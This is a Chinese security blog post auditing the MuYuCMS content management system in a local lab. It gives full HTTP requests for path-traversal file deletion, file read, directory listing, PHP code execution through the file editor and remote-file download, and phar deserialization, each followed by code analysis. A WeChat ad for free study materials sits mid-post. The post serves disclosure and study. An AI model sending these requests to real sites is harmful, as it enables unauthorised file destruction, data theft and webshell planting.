木鱼cms系统审计小结
MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455023.png
环境搭建
我们利用 phpstudy 来搭建环境，选择 Apache2.4.39 + MySQL5.7.26+ php5.6.9 ，同时利用 PhpStorm 来实现对项目的调试
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455026.png
漏洞复现分析
任意文件删除
我们在网站的根目录下创建一个文件 test.txt 用来校验文件是否被删除
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455028.png
任意文件删除一
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/filesdel.html HTTP/1.1
Host: test.test
Content-Length: 55
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
filedelur=/upload/files/.gitignore/../../../../test.txthttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455029.png
文件被成功删除
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455030.png
漏洞分析
\app\admin\controller\Accessory::filesdel
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455031.png
通过参数 $filedelurl 拼接得到要删除文件的地址，利用 unlink 函数删除文件，中间没有做任何校验。
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）
任意文件删除二
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/picdel.html HTTP/1.1
Host: test.test
Content-Length: 54
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
picdelur=/upload/files/.gitignore/../../../../test.txthttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455032.png
漏洞分析
\app\admin\controller\Accessory::picdel
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455033.png
通过参数 $picdelur 拼接得到要删除图片的地址，利用 unlink 函数删除文件，中间没有做任何校验
任意文件删除三
漏洞复现
登录后台后构造数据包
GET /editor/index.php?a=delete_node&type=file&path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: closehttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455034.png
漏洞分析
\App\Controller\Controller::delete_node
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455035.png
\App\Core\File::deleteFile
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455036.png
\App\Controller\Controller::beforeFun
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455037.png
对传入的 path 判断了是否在合法的文件域中，但没有对传入的 path 没有进行跨目录的校验就删除了文件
任意文件删除四
漏洞复现
POST /admin.php/database/sqldel.html HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
name=../../test.txthttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455038.png
漏洞分析
\app\admin\controller\Database::sqldel
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455039.png
获取 post 传入的参数 name
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455040.png
利用 delFile 函数删除文件
任意文件删除五
漏洞复现
登录后台后构造数据包
POST /admin.php/update/rmdirr.html?dirname=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341
Connection: closehttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455041.png
漏洞分析
\app\admin\controller\Update::rmdirr
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455042.png
传入的参数 $dirname 经过简单的判断，然后调用 unlink 函数去删除
任意文件读取
漏洞复现
登录后构造数据包
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: closehttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455043.png
成功读取文件信息
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455044.png
漏洞分析
\App\Controller\Controller::get_file
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455045.png
列目录
漏洞复现
登录后构造数据包
GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: closehttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455046.png
成功将根目录下的信息显露出来
漏洞分析
\App\Controller\Controller::dir_list
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455047.png
\App\Core\Jstree::getDir
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455048.png
\App\Controller\Controller::beforeFun
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455037.png
对传入的 dir_path判断了是否在合法的文件域中，但没有对传入的 dir_path没有进行跨目录的校验就打印出目录信息
任意代码执行
任意代码执行一
漏洞复现
登录后构造数据包，读取config 文件内容
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close此时需要获取的并不是文件内容，而是更改之后文件的key
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455049.png
复制文件校验码 替换到下面数据包中
GET /editor/index.php?a=save_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php&file_key=5e9c862ce52986e5437652d707c7c82f&file_content=<?php+phpinfo();+php?> HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455050.png
访问文件在网站上对应的位置，发现代码已经被成功执行
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455051.png
也可以执行其他代码
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455052.png
漏洞分析
\App\Controller\Controller::save_file
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455053.png
save_file 有保存文件的操作，但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息，然后再对文件进行修改
\App\Core\File::setFileContent
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455054.png
任意代码执行二
漏洞复现
登录后构造数据包
POST /admin.php/update/getFile.html?url=http://127.0.0.1:8000/shell.php&save_dir=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/ HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341;XDEBUG_SESSION=PHPSTORM
Connection: close指定远程 url 下载文件，下载的文件保存到指定位置
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455055.png
访问指定的文件目录，发现代码被成功执行
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455056.png
漏洞分析
\app\admin\controller\Update::getFile
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455057.png
通过 $url 指定获取远程文件的地址，$save_dir 指定保存文件的路径，并未对文件的内容和类型进行校验，所以就会产生代码执行漏洞
phar反序列化
漏洞复现
生成 phar 序列化数据包 修改后缀，启动 python 服务器
构造数据包下载远程的文件到本地
GET /public/static/admin/static/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:8000/shell.png HTTP/1.1
Host: test.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455059.png
执行 phar 序列化
http://test.test/admin.php/update/rmdirr.html?dirname=phar://./public/upload/images/1676882763141961.png
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455060.png
注意事项
在最开始，获取远程图片的时候，一直出现错误 提示 链接contentType不正确 通过在代码中查找，定位到问题位置
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455061.png
校验了 Content-Type 的值 经过不断的调试仍然发现不了问题出现在哪
但是发现通过 phpstudy 默认的 apache 服务是没问题的 通过抓包对比发现 一个是 Content-Type 另一个是 Content-type
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455062.png
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455063.png
我直接修改了 python 的源代码 将其中的小写 t 替换成了大写 T
漏洞分析
\app\admin\controller\Update::rmdirr
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455064.png
通过协议绕过了对文件名的检测然后触发了反序列漏洞
MuYuCMS-master/public/static/admin/static/ueditor/php/controller.php
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455065.png
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302211455066.png
更多靶场实验练习、网安学习资料，请点击这里>>
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
页:
[1]